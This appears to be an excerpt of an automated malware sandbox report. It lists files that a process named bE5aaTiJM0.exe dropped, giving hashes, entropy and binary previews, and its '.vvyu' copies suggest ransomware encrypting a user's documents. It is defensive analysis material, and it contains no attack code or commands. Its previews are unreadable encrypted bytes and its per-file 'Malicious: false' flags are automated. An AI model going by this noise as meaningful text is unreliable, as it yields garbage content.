Preview:	DUUDTQ....B..a...-0;.;..u.~%.M...=...'_..ip...n<2.vW...r..i.......L......\|....E..O2cm....G.z...w.(g.+....P....n....;8#.v..@...D9.#.;o.=.m.p.....lv...s..>$U.P.......bhD.(a..\..r.r... .D.A....-.'...`-.41).O;.......}.....g..9.'.\.G..?...\|.b~TI..w....N..>...Q.=x.[T.]...#.S.Q....;.d}.-.xK#..U........j.d..f.i.B..%...A0....$.M.4.....@.~.~...T.7.}".q....e!F.'`OEs5...V..\|....9Q..2m........6...q.D.F....~.@.b.X...X..8.f{..0.W/g].T...0.....bP..........d.g../g..Tg.;..X..V?..\|.;b...h8.b.......5...R...u(j... ......i....W.....ON....O..WA.Z..:...(..M.RB$.!.s..#..Y.e...z........X.W...H,i;..\X.).e.......h[ ...c.R9f.:.Ug^.uc..{j....~...>yH.C.7r.$.>H<z....,.-....q..............H....-}...L3.hy.......;..x....H.,..d.AA...+...h.\._.\.<o....`..Y....[8...$..I6.vX..1...[....a.!...>k.~&H.Bwm...$...l.yn.cP2.qR.......g.......4.=/U.G,..G.ZI.YRY..>\.=.,..j.....S.4.O..d....\.:....!..\..t:2w.mk6...?F..@.).<.F....U.-H..U?.......u.H;j....xx.....`Q.j..~.y..e^..bW.:!q.........8.x.v...

C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8566924447942394
Encrypted:	false
SSDEEP:	24:bCuwTPHNEK2KuL41hn4zMYoWMZ7A/s+EPqGOr8QY04TuNsbD:GuwTFSKe41qzLoZZ0EHqGOr8lJmmD
MD5:	72C238A1BEDB44CE9B4B7F85926E436D
SHA1:	861D19EEE9FF52C7BABFCA1F9BF7C2E226C6878B
SHA-256:	294452E319ED749C25B469955E5CFA19F9B1916F115B19235D63F5B533E6EF51
SHA-512:	6305116A9D570DD43497013848F212A715D3AE0C785A2F7FE6C9BF9A745D3A0D68B13A089554F2A2658D97681C9B50BE71529CF383B950A172C743E239D4E430
Malicious:	false
Preview:	EEGWX.u.)....hR.5W@....EMF...f\y..E.o...0x]]\...._+..B.........Hv..(...'...6..........!,?.%..$.?..a..>..b..A.......6G..'.;4.."O...._=q.....~.2.Z..K5....t..II.....T.....36.....D......O...........q&..C......?.[tZH..M.&0{5..".......HgAG..@'.`r...0..^.m2.<...k2#`<q.AXT<^9...wN2\m+.`b>...W+...z...j.C...E.........}.LV..>.._..G7...4.P!.-...,..........F.C.\.@....`e.....oVk.'..Kc..;YE.Y.H.....x.!f...'...B.).D...>.6q.-..&D.."......P....6AVN.._.cT...-.{.$.f.X.....d.........I...Z.k...:8.....L6z..<.s..uWK/.&....\|..z.1.A...?..o.1.1x...>....W.@..=..}.... .(d.,..........}j`..."!....\C"...4? Kx.S......*.y]k.87.w-.1..?...^..i.........CQ.....]:.S.%.&K.............;,]..=.y...Q..&....s....u.0]X_q]....."i....&"O....q.x......P..d.X.....4.......[.y\|;..8.....h..v.Jy^..[P.^ES.......6.....}S..2@........./..z..#d.P.H2v....C,.R.....K.....p....[.S..._.+i. ......]Ggmw.h#..W..j..F.b.].l..5.Nf.~..E...{K.?).J..K.8QJS..`.3Q.1.fP.p'.t..v.d7.kB...@.{....w.+.r.....W...\

C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8566924447942394
Encrypted:	false
SSDEEP:	24:bCuwTPHNEK2KuL41hn4zMYoWMZ7A/s+EPqGOr8QY04TuNsbD:GuwTFSKe41qzLoZZ0EHqGOr8lJmmD
MD5:	72C238A1BEDB44CE9B4B7F85926E436D
SHA1:	861D19EEE9FF52C7BABFCA1F9BF7C2E226C6878B
SHA-256:	294452E319ED749C25B469955E5CFA19F9B1916F115B19235D63F5B533E6EF51
SHA-512:	6305116A9D570DD43497013848F212A715D3AE0C785A2F7FE6C9BF9A745D3A0D68B13A089554F2A2658D97681C9B50BE71529CF383B950A172C743E239D4E430
Malicious:	false
Preview:	EEGWX.u.)....hR.5W@....EMF...f\y..E.o...0x]]\...._+..B.........Hv..(...'...6..........!,?.%..$.?..a..>..b..A.......6G..'.;4.."O...._=q.....~.2.Z..K5....t..II.....T.....36.....D......O...........q&..C......?.[tZH..M.&0{5..".......HgAG..@'.`r...0..^.m2.<...k2#`<q.AXT<^9...wN2\m+.`b>...W+...z...j.C...E.........}.LV..>.._..G7...4.P!.-...,..........F.C.\.@....`e.....oVk.'..Kc..;YE.Y.H.....x.!f...'...B.).D...>.6q.-..&D.."......P....6AVN.._.cT...-.{.$.f.X.....d.........I...Z.k...:8.....L6z..<.s..uWK/.&....\|..z.1.A...?..o.1.1x...>....W.@..=..}.... .(d.,..........}j`..."!....\C"...4? Kx.S......*.y]k.87.w-.1..?...^..i.........CQ.....]:.S.%.&K.............;,]..=.y...Q..&....s....u.0]X_q]....."i....&"O....q.x......P..d.X.....4.......[.y\|;..8.....h..v.Jy^..[P.^ES.......6.....}S..2@........./..z..#d.P.H2v....C,.R.....K.....p....[.S..._.+i. ......]Ggmw.h#..W..j..F.b.].l..5.Nf.~..E...{K.?).J..K.8QJS..`.3Q.1.fP.p'.t..v.d7.kB...@.{....w.+.r.....W...\

C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851653926286405
Encrypted:	false
SSDEEP:	24:8Mc3gYAafYbMiroMzndnxYK8NSmDX+98IwkLa5aDWdOm/8sbD:8l5h+/7d8NJYwkL2WWamD
MD5:	C149BB319651BC312AD965C7CAE757EF
SHA1:	E3B27D301557AA07B3B6F8A1AB85C3111BD6F1A5
SHA-256:	C3CEEB7F2507FF14FBCCB60ECA7426B9101746C4388026B2D1BCBC07714FD8F6
SHA-512:	9BDC5214B41B87C768CB2E1FF2459ED4D8501D3F6589B80C1895A41F9C2DF402D9F6DA16A0E8E3AC68CC4A835826DCAAC731C67B0EFE7F363FBA6E837AAD9B5D
Malicious:	false
Preview:	EFOYF.K..Po.U..T...W....Xe.e...1.%..\...#..2...#......U.9)..e\MM4w..Aj.XM.Y[Us5.%...I.y...A....].........I..i.w../...Z....k.w.p......W<.t..V..IJ..S5..!.r.`. ..!..n.W.D..oC..r.u..(..X.4z.BR#..+GN.vn.s.wn..8&%o.2.m!.nz?`...>...FB.h..G;..<...,Z..U.W..u..N`$..;.A=..Y..MM.......3x...2Nz.9.....0..e.A=&.:....D7j...L-.....g.x...c.}'.4.t......Ud..1......A7.Q..E.U....;T!.P..1Wn....\..F..G8....>.y.~..VoS...=..[#..S....@..6...bS xH..!:..l..C..!..9X.S......[.*...Tw..T..dq.w..a3c.T.....y._..;cSW..2..vEQ.{_:.%,..@...D.._.Wc.psDN4\........RS......aH.C.S.......B.'....Qf.~c.....n.a.V6.....x.dHKf.3.6.Q.KG..vf..\..a..e.[.^.3...]... '......?.=p....w..y............;N.<.<....M.4.#.}.j..N5W....U...I{..:..[tR......4.........`.4KS....f.#L...).6.}I./.y._x...."...D..-.0K.[K&...../..)..dk.Z....x.......>...e......tO&.D..y...q5...l...>i]S.....{.T.~r.b.=.....Q..N../j...X.o.z5=......a...e....6PA.Xk....r^...f..`.....HM...&... ...K.4a."U.g..t..S.~Ql..g.;..-..)

C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.xlsx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851653926286405
Encrypted:	false
SSDEEP:	24:8Mc3gYAafYbMiroMzndnxYK8NSmDX+98IwkLa5aDWdOm/8sbD:8l5h+/7d8NJYwkL2WWamD
MD5:	C149BB319651BC312AD965C7CAE757EF
SHA1:	E3B27D301557AA07B3B6F8A1AB85C3111BD6F1A5
SHA-256:	C3CEEB7F2507FF14FBCCB60ECA7426B9101746C4388026B2D1BCBC07714FD8F6
SHA-512:	9BDC5214B41B87C768CB2E1FF2459ED4D8501D3F6589B80C1895A41F9C2DF402D9F6DA16A0E8E3AC68CC4A835826DCAAC731C67B0EFE7F363FBA6E837AAD9B5D
Malicious:	false
Preview:	EFOYF.K..Po.U..T...W....Xe.e...1.%..\...#..2...#......U.9)..e\MM4w..Aj.XM.Y[Us5.%...I.y...A....].........I..i.w../...Z....k.w.p......W<.t..V..IJ..S5..!.r.`. ..!..n.W.D..oC..r.u..(..X.4z.BR#..+GN.vn.s.wn..8&%o.2.m!.nz?`...>...FB.h..G;..<...,Z..U.W..u..N`$..;.A=..Y..MM.......3x...2Nz.9.....0..e.A=&.:....D7j...L-.....g.x...c.}'.4.t......Ud..1......A7.Q..E.U....;T!.P..1Wn....\..F..G8....>.y.~..VoS...=..[#..S....@..6...bS xH..!:..l..C..!..9X.S......[.*...Tw..T..dq.w..a3c.T.....y._..;cSW..2..vEQ.{_:.%,..@...D.._.Wc.psDN4\........RS......aH.C.S.......B.'....Qf.~c.....n.a.V6.....x.dHKf.3.6.Q.KG..vf..\..a..e.[.^.3...]... '......?.=p....w..y............;N.<.<....M.4.#.}.j..N5W....U...I{..:..[tR......4.........`.4KS....f.#L...).6.}I./.y._x...."...D..-.0K.[K&...../..)..dk.Z....x.......>...e......tO&.D..y...q5...l...>i]S.....{.T.~r.b.=.....Q..N../j...X.o.z5=......a...e....6PA.Xk....r^...f..`.....HM...&... ...K.4a."U.g..t..S.~Ql..g.;..-..)

C:\Users\user\Desktop\EEGWXUHVUG\EWZCVGNOWT.mp3

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849756026918252
Encrypted:	false
SSDEEP:	24:CYE9E3+QnhHm5WgfKibRlyoxXPnsEUYnlKp/vN6mnapzthidsbD:Cl9w+C4WgSidwaXvgck9N7YBYdmD
MD5:	333650E8EB95BC36FF73783CB8911328
SHA1:	3A8A0F14B308552D765BE24724DA7CD8A526DF89
SHA-256:	05488B330E7150B8CB9D7372038FC1A437C04D85DA301CFD1081341C248D12B8
SHA-512:	785BB2CBF0CFD6B0EE9B9C89BCA42D50BEE9479C169012439BFBA4CA816E90A5070F16D5DCEC17EE3B971AC11E9DD3A080021F5EBFB412CA72A700E1DFCF2488
Malicious:	false
Preview:	EWZCVn.....B..0...C...5.b........,.p...UrM..!=...@.kW.Y../..H..j.q.O...J..r.4..07.IN...}..Si...vt.....1fBz.a....B.ye...k ...z.;O.I.v.?.`.aUxs..0........U...e..*/.....A...mh..#.3NUi.T..\|.y.^A. ..F...K......4&....>Z...f.-..h.F.C.P..v.n5...6...{yr rL...e:.....R........V....-s..C#....".......U.e.....p0dQ....!.,..L?-.7.. .q.M1.79...l/9}.w.sw.&....~..vp..Y9.E.$.^$.~.Cl...g. .D...1l.j ....(.f..OWZ......r\a....y..p.\|A....sH.`.."...7..#..X..g%..w.,./J...un...7.4..j.....R....h.~........\.PW....?..=:..Y.$%.<.%X...M..t...2.}P....L[...b..`.#............N.R.N....^.....J.?..~..!i.....9>Q.C.P..d.O.F......h.;..O....2...}.......T....r,......2.....\=......+;pWu.(B.um.$....B..T.x...........5..m..C<..2...k....v..R.{..B.p..'.B(..q}....F.5`.I.....U.D.c8....t.<!.`.Q..W{OOv7.{.2...._0....S...9~.9..QM.r..h9.b....A.E.O.....0N0..h..w...N..V4t..b]..t..l..Q9.8?...d}.d.....rR.?.Z,..q..X.\|...a.c....P.u...}..w....&.0.......{3&<..;3$.)/...m&....s0...w..

C:\Users\user\Desktop\EEGWXUHVUG\EWZCVGNOWT.mp3.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849756026918252
Encrypted:	false
SSDEEP:	24:CYE9E3+QnhHm5WgfKibRlyoxXPnsEUYnlKp/vN6mnapzthidsbD:Cl9w+C4WgSidwaXvgck9N7YBYdmD
MD5:	333650E8EB95BC36FF73783CB8911328
SHA1:	3A8A0F14B308552D765BE24724DA7CD8A526DF89
SHA-256:	05488B330E7150B8CB9D7372038FC1A437C04D85DA301CFD1081341C248D12B8
SHA-512:	785BB2CBF0CFD6B0EE9B9C89BCA42D50BEE9479C169012439BFBA4CA816E90A5070F16D5DCEC17EE3B971AC11E9DD3A080021F5EBFB412CA72A700E1DFCF2488
Malicious:	false
Preview:	EWZCVn.....B..0...C...5.b........,.p...UrM..!=...@.kW.Y../..H..j.q.O...J..r.4..07.IN...}..Si...vt.....1fBz.a....B.ye...k ...z.;O.I.v.?.`.aUxs..0........U...e..*/.....A...mh..#.3NUi.T..\|.y.^A. ..F...K......4&....>Z...f.-..h.F.C.P..v.n5...6...{yr rL...e:.....R........V....-s..C#....".......U.e.....p0dQ....!.,..L?-.7.. .q.M1.79...l/9}.w.sw.&....~..vp..Y9.E.$.^$.~.Cl...g. .D...1l.j ....(.f..OWZ......r\a....y..p.\|A....sH.`.."...7..#..X..g%..w.,./J...un...7.4..j.....R....h.~........\.PW....?..=:..Y.$%.<.%X...M..t...2.}P....L[...b..`.#............N.R.N....^.....J.?..~..!i.....9>Q.C.P..d.O.F......h.;..O....2...}.......T....r,......2.....\=......+;pWu.(B.um.$....B..T.x...........5..m..C<..2...k....v..R.{..B.p..'.B(..q}....F.5`.I.....U.D.c8....t.<!.`.Q..W{OOv7.{.2...._0....S...9~.9..QM.r..h9.b....A.E.O.....0N0..h..w...N..V4t..b]..t..l..Q9.8?...d}.d.....rR.?.Z,..q..X.\|...a.c....P.u...}..w....&.0.......{3&<..;3$.)/...m&....s0...w..

C:\Users\user\Desktop\EEGWXUHVUG\ZGGKNSUKOP.png

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852098391250622
Encrypted:	false
SSDEEP:	24:qXPIvqDgUpSBLFQANnDu9t1Hgrv0gGj4g7hL3gX/jlwCxdsbD:dqD7pSBNnDu90rv0/hNgvj/dmD
MD5:	C817B4A11FB1F64D33DCD23E54320207
SHA1:	2D06CAB9258E0624E3C474ACAACA0BEAF7C8B455
SHA-256:	F210B0715395D2DF0F00F40814BF71039946A5BDFB559CFAF8814C527F380BFF
SHA-512:	2881427E14ACC66037CFA4A9994F63FE733A04EE9A8FABB319D598A23D50F5BBF8DD76816D21F2FA5A22BDEB02F053B51E4104D7E315A9B38383ABB292EBEA3E
Malicious:	false
Preview:	ZGGKNi.....%..W...~.<..+.Y?...V.....?..R....d.v.p(hK.Jj.m.L..7l0.....F....P.\..H[v....H.....T.7W...7.P.%x..&..?.7.Z......Yp......xZ..X..K26.+.t%U>.}$..Q<........B..:+.......C..h.e.f.CR.,..D...u.EJLN.qo....>..m.0...vR.....e.)....(..P.E[..-D.k.'U.-y....'..o~-.#.).d..6.....6....K.$..!....z...7\.X;.{Lr./..G..?.,.....2.88..p51l...nV.1...V..u........b8.......$.sJ1....m.1vkWr..g..../....).'...JF....7.N..Q5"<#l0;..f.....KL...);q8..U......L<^....jSQf..^...7..;......[....3+..T.2.8.....7.2c.... .........s.....^...`Q..L.l..U..e..7.C_.R...]...vS .....Fm.u.~R.:......UA.......U.M.:....pBE...x..Wp..m....\|d..XBhF...$.N~..I..k...t;....H.`J.......S.a..p.....#.SC..q..y.m..;.\|p..T... .......R..VbHiB..._L.... .o.....RW.......,...9m~.H..W.0..(r.7..7.......G...d~R.Q=..dM.D......d.....:..:...W...{}..h>*.....x}"....<.b..xd..}..8......67(....!..^s...'YF^...5.#Q.hF.X.5.r.z+b..L.hN.:3.^T.......f..pN..p. ...G>.6(."F...>....7R.....+WV).........}!..%7....2..<.BC.

C:\Users\user\Desktop\EEGWXUHVUG\ZGGKNSUKOP.png.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852098391250622
Encrypted:	false
SSDEEP:	24:qXPIvqDgUpSBLFQANnDu9t1Hgrv0gGj4g7hL3gX/jlwCxdsbD:dqD7pSBNnDu90rv0/hNgvj/dmD
MD5:	C817B4A11FB1F64D33DCD23E54320207
SHA1:	2D06CAB9258E0624E3C474ACAACA0BEAF7C8B455
SHA-256:	F210B0715395D2DF0F00F40814BF71039946A5BDFB559CFAF8814C527F380BFF
SHA-512:	2881427E14ACC66037CFA4A9994F63FE733A04EE9A8FABB319D598A23D50F5BBF8DD76816D21F2FA5A22BDEB02F053B51E4104D7E315A9B38383ABB292EBEA3E
Malicious:	false
Preview:	ZGGKNi.....%..W...~.<..+.Y?...V.....?..R....d.v.p(hK.Jj.m.L..7l0.....F....P.\..H[v....H.....T.7W...7.P.%x..&..?.7.Z......Yp......xZ..X..K26.+.t%U>.}$..Q<........B..:+.......C..h.e.f.CR.,..D...u.EJLN.qo....>..m.0...vR.....e.)....(..P.E[..-D.k.'U.-y....'..o~-.#.).d..6.....6....K.$..!....z...7\.X;.{Lr./..G..?.,.....2.88..p51l...nV.1...V..u........b8.......$.sJ1....m.1vkWr..g..../....).'...JF....7.N..Q5"<#l0;..f.....KL...);q8..U......L<^....jSQf..^...7..;......[....3+..T.2.8.....7.2c.... .........s.....^...`Q..L.l..U..e..7.C_.R...]...vS .....Fm.u.~R.:......UA.......U.M.:....pBE...x..Wp..m....\|d..XBhF...$.N~..I..k...t;....H.`J.......S.a..p.....#.SC..q..y.m..;.\|p..T... .......R..VbHiB..._L.... .o.....RW.......,...9m~.H..W.0..(r.7..7.......G...d~R.Q=..dM.D......d.....:..:...W...{}..h>*.....x}"....<.b..xd..}..8......67(....!..^s...'YF^...5.#Q.hF.X.5.r.z+b..L.hN.:3.^T.......f..pN..p. ...G>.6(."F...>....7R.....+WV).........}!..%7....2..<.BC.

C:\Users\user\Desktop\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862090750833261
Encrypted:	false
SSDEEP:	24:YjsVlpj6jjfWhR8OTO0dEfp04SkcpVMQYIMM+vvJSVZ+vtzrsbD:YjsLpjgzWheOTuB04WVfHzwJSVwlrmD
MD5:	27E8BE6DDF1CBBD0DA11A7059F50C7CC
SHA1:	8271275BFB59D5A65C47793381DCC8040E10FCC5
SHA-256:	A0503683703E00684D4D35BC6CAD3B5C472C12A21006E32FC3903AE514EF9E7D
SHA-512:	5C44CE0A7ACF17F5BCFBF84D3464EF29596170183A3C9284B2CD54CDAC75EFECCF3E04F1920E755EF1EB2A2D0E7D982B5C8FB9274D5C33239B40DB3D1F1BC861
Malicious:	false
Preview:	EFOYF\|.?x..E.Nn.........8CW.......e...?..1.U...O.`...&\|2F..H.::....$B.R.o<...PL.A..S...FN.s..K............tj..ss....!A{....5).../7.Q...ed...4l@...kN.....K`. ...Z.....Dw... (..~.d.d..'T.......d.R..H......+!.....$dxa..0.s..V..]G....VM.1-`.S9s.....k.~Whe....B1.....J.>.R+..#G...z....F.D2...+.J.......H.3.@..(..rp.d.a..z.bg.....j%.Zc,f.d.I...qL`.FQB....S[[.d.H.....Y.I.G.G.no....m.}t%.8.(...l......c&.5:..kX(.4'].g..x.p~j1nn..."X<.-.....2$.H......3..h#Q...4T.?a.;V+...g+.6:{.....#..".-....%..]...n.....$........(...DL...3^X.Ri.r".f..G....\DJ...k.%..x...C..X..\|y..0..+...^-R..q\a@..k...&S....'K..E2......K..4......W{.{4....aN........Rq<.9...>.v...{.`...`.P.X}.<.}y..g.".9^.t...,j.ln.....{...R }..>?.l.]...cOJ...9...k...1q.L.-=...H...t..nhq..e%c4...Ea.9[qD@w........-'...U?..+...".7...2.x.u..[....F....<..%...7...>9.PI(h..4H.}.O..9;.....%.mX!...m.p..u..s..F. ....'...H}..R.h..........]"U=&....G-..8...{..!Z..@o.....jXw3.~..}SD.........Y..z.Z...tT..&.I(.

C:\Users\user\Desktop\EFOYFBOLXA.png.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862090750833261
Encrypted:	false
SSDEEP:	24:YjsVlpj6jjfWhR8OTO0dEfp04SkcpVMQYIMM+vvJSVZ+vtzrsbD:YjsLpjgzWheOTuB04WVfHzwJSVwlrmD
MD5:	27E8BE6DDF1CBBD0DA11A7059F50C7CC
SHA1:	8271275BFB59D5A65C47793381DCC8040E10FCC5
SHA-256:	A0503683703E00684D4D35BC6CAD3B5C472C12A21006E32FC3903AE514EF9E7D
SHA-512:	5C44CE0A7ACF17F5BCFBF84D3464EF29596170183A3C9284B2CD54CDAC75EFECCF3E04F1920E755EF1EB2A2D0E7D982B5C8FB9274D5C33239B40DB3D1F1BC861
Malicious:	false
Preview:	EFOYF\|.?x..E.Nn.........8CW.......e...?..1.U...O.`...&\|2F..H.::....$B.R.o<...PL.A..S...FN.s..K............tj..ss....!A{....5).../7.Q...ed...4l@...kN.....K`. ...Z.....Dw... (..~.d.d..'T.......d.R..H......+!.....$dxa..0.s..V..]G....VM.1-`.S9s.....k.~Whe....B1.....J.>.R+..#G...z....F.D2...+.J.......H.3.@..(..rp.d.a..z.bg.....j%.Zc,f.d.I...qL`.FQB....S[[.d.H.....Y.I.G.G.no....m.}t%.8.(...l......c&.5:..kX(.4'].g..x.p~j1nn..."X<.-.....2$.H......3..h#Q...4T.?a.;V+...g+.6:{.....#..".-....%..]...n.....$........(...DL...3^X.Ri.r".f..G....\DJ...k.%..x...C..X..\|y..0..+...^-R..q\a@..k...&S....'K..E2......K..4......W{.{4....aN........Rq<.9...>.v...{.`...`.P.X}.<.}y..g.".9^.t...,j.ln.....{...R }..>?.l.]...cOJ...9...k...1q.L.-=...H...t..nhq..e%c4...Ea.9[qD@w........-'...U?..+...".7...2.x.u..[....F....<..%...7...>9.PI(h..4H.}.O..9;.....%.mX!...m.p..u..s..F. ....'...H}..R.h..........]"U=&....G-..8...{..!Z..@o.....jXw3.~..}SD.........Y..z.Z...tT..&.I(.

C:\Users\user\Desktop\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856312192794189
Encrypted:	false
SSDEEP:	24:jFwGigDCkLfeidpjPn9a1bSoOsOXS2hAGVEk5eb/LC6HTZxZhsbD:WGPlL/ddnU1xOVXVr7d6zZvhmD
MD5:	7C9BB75E420EE389746C34A15DB389D9
SHA1:	BB8F3912A28C631D000244562BD01ADF3823D6FB
SHA-256:	C6EA9A48EDADE55E2EE11D22F4C10D68AFCA1E2503EF8F4D0D1BD8DC1CB46098
SHA-512:	CB55FF42B1EF25D3877C044C5CC936FC3915905C4D6AC63CF65F5186ED96FAC635E399195D646FD2F25BE99E19EAF92DFCC6DF8FBD93BEC8B48D173BEA9C560F
Malicious:	false
Preview:	EFOYF..Z.....`.3..N.hF.....r...\......,.@}.jQH..h$.V.......-......I.c.u.3+`.'......kk........g......9...$.Ytq/.%q..&^.&w.3(.."...9(.u.s. (...6..Y6..".R.{.)r...:...O..>....%.b.!?..('.-..h..p...dO}%M..q.xaD.A....B.....}"..`.i.Y=...3e..S.z...wm.....t.\|y..0>......x..,...y....=.x....3...o-.:..H@_..,..h....U...m..H.....@[..S.V..@..1'.e..u]8*+.....f_;..).^..>..^..`#...Q..\|.+...]M......... ..V.+?.b.(....1..>..A...x-..&Q../X....Wl...EPD.8.R'6.A....)..S...zC..kX0]}f\=..o.X.+...Ck....d.L._...<.....".O...Y......L..Yh<.af.i....7.oMxqa....\.-3c.W>.tP...C....F.<U..2.Z.1....QuT.s_In....P.xA.oT~...".5.j.RN[G+.3.$.tW...CE&.Nr.<.%:..$[....H[...\|....k.j..........3..)..(+.{.]OX.F:?...&U%N.../ZN...4F.F....4.......)......./..Zt3C....j..........U...(.E)L....R.}..BWxc..}M.Y.I.......X!Ud.}..er..C......DN..O......E.bkZG.$...kN..s;/.5.U.;.........-?..~.3.=..A......c.......w%Cy.k.2..Q.z.!... .S....a..Bs....x2<6:q4.....Log.....n..A.?..4.!......@.J..``.6..I.b.hPH3

C:\Users\user\Desktop\EFOYFBOLXA.xlsx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856312192794189
Encrypted:	false
SSDEEP:	24:jFwGigDCkLfeidpjPn9a1bSoOsOXS2hAGVEk5eb/LC6HTZxZhsbD:WGPlL/ddnU1xOVXVr7d6zZvhmD
MD5:	7C9BB75E420EE389746C34A15DB389D9
SHA1:	BB8F3912A28C631D000244562BD01ADF3823D6FB
SHA-256:	C6EA9A48EDADE55E2EE11D22F4C10D68AFCA1E2503EF8F4D0D1BD8DC1CB46098
SHA-512:	CB55FF42B1EF25D3877C044C5CC936FC3915905C4D6AC63CF65F5186ED96FAC635E399195D646FD2F25BE99E19EAF92DFCC6DF8FBD93BEC8B48D173BEA9C560F
Malicious:	false
Preview:	EFOYF..Z.....`.3..N.hF.....r...\......,.@}.jQH..h$.V.......-......I.c.u.3+`.'......kk........g......9...$.Ytq/.%q..&^.&w.3(.."...9(.u.s. (...6..Y6..".R.{.)r...:...O..>....%.b.!?..('.-..h..p...dO}%M..q.xaD.A....B.....}"..`.i.Y=...3e..S.z...wm.....t.\|y..0>......x..,...y....=.x....3...o-.:..H@_..,..h....U...m..H.....@[..S.V..@..1'.e..u]8*+.....f_;..).^..>..^..`#...Q..\|.+...]M......... ..V.+?.b.(....1..>..A...x-..&Q../X....Wl...EPD.8.R'6.A....)..S...zC..kX0]}f\=..o.X.+...Ck....d.L._...<.....".O...Y......L..Yh<.af.i....7.oMxqa....\.-3c.W>.tP...C....F.<U..2.Z.1....QuT.s_In....P.xA.oT~...".5.j.RN[G+.3.$.tW...CE&.Nr.<.%:..$[....H[...\|....k.j..........3..)..(+.{.]OX.F:?...&U%N.../ZN...4F.F....4.......)......./..Zt3C....j..........U...(.E)L....R.}..BWxc..}M.Y.I.......X!Ud.}..er..C......DN..O......E.bkZG.$...kN..s;/.5.U.;.........-?..~.3.=..A......c.......w%Cy.k.2..Q.z.!... .S....a..Bs....x2<6:q4.....Log.....n..A.?..4.!......@.J..``.6..I.b.hPH3

C:\Users\user\Desktop\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834968114135507
Encrypted:	false
SSDEEP:	24:k3VyyQ5VTe1uWaIjvNcbnlASh9TF+Up604ZdmOqCVR8sbD:CyE1uWawNGnGSh+lZd3qZmD
MD5:	2C7AF5D22E9A327E3B94889BF50A785A
SHA1:	4E5F72739F6954B1E4D763DFBC99D688E0877784
SHA-256:	75F98059C06FE1DBFA142FCE7BD5C7B2EABD2EC6713BE3B287C7F5AA7C3FFDE5
SHA-512:	FFB83FD90F50C61DD5EC162DBDEDDE835456728E9984A1DFF6694C4322314BC0B42637679E3D1F3EC139B90035F92C0668F19C5737496E84055FB38010A327FA
Malicious:	false
Preview:	EOWRV/....k.oV3W.oS....8q.vM..\|.2dJ....&]5:.b..#.......xJ....(2...v..+`.HQ}..e.....{.S.K.....O9..=.z.0C..F+(.ax.n.KK....B..3.j.....-.X.k.Q...q(.h.z......3....^....S.G~Rg....V...([......b..\|.._u......3?.mk.Fu.}WX......o...TI...rok.yD.q.:..{./....+(.z...3U0.x.6U.Z.p(.....(.r.F(.Y...F.Y...'n..4.T...F.8...H.v...a\.d........nG#...y".G..I.`..~a..w2(..#u.L..-A.Q...ci..x..xA.WN.@..jB.......%B,......Gg..yHM..`..4.........<.\,......o.B80E#..]. )...c.^.9...@<9.n..AK..q.....P..z+...8U.Z.l..z.`B.D...*..#h+5i.].......n..Q..u!..C....#...z......x%\....U.]...]V..........2N.<.....33...S.'X.,.q...j3.Z.X.!..[.r.~F.....Rc>.W...t.r?...c.q......}v=TS..7....A.4"..X....!.]C...rV.C..E../.r..s..)8...u.?..z...h..d.D......q....;...'8.E.mE....].^@....~Z.0.@...I..wu....`F.n:+[........t.('.3bp..{.X..R.D...ot.`;........t.......]...L'k.2..-.B.&..Z.L.\.Dnw.....bjo6.Mg.#:..?....E..Hr'n.Z.A....w.b...?.z......0....`Px.b.rd..K.V.X...a....G1..3.+...U.........II...Dx..e.3;...x_.

C:\Users\user\Desktop\EOWRVPQCCS.pdf.vvyu (copy)

Download File

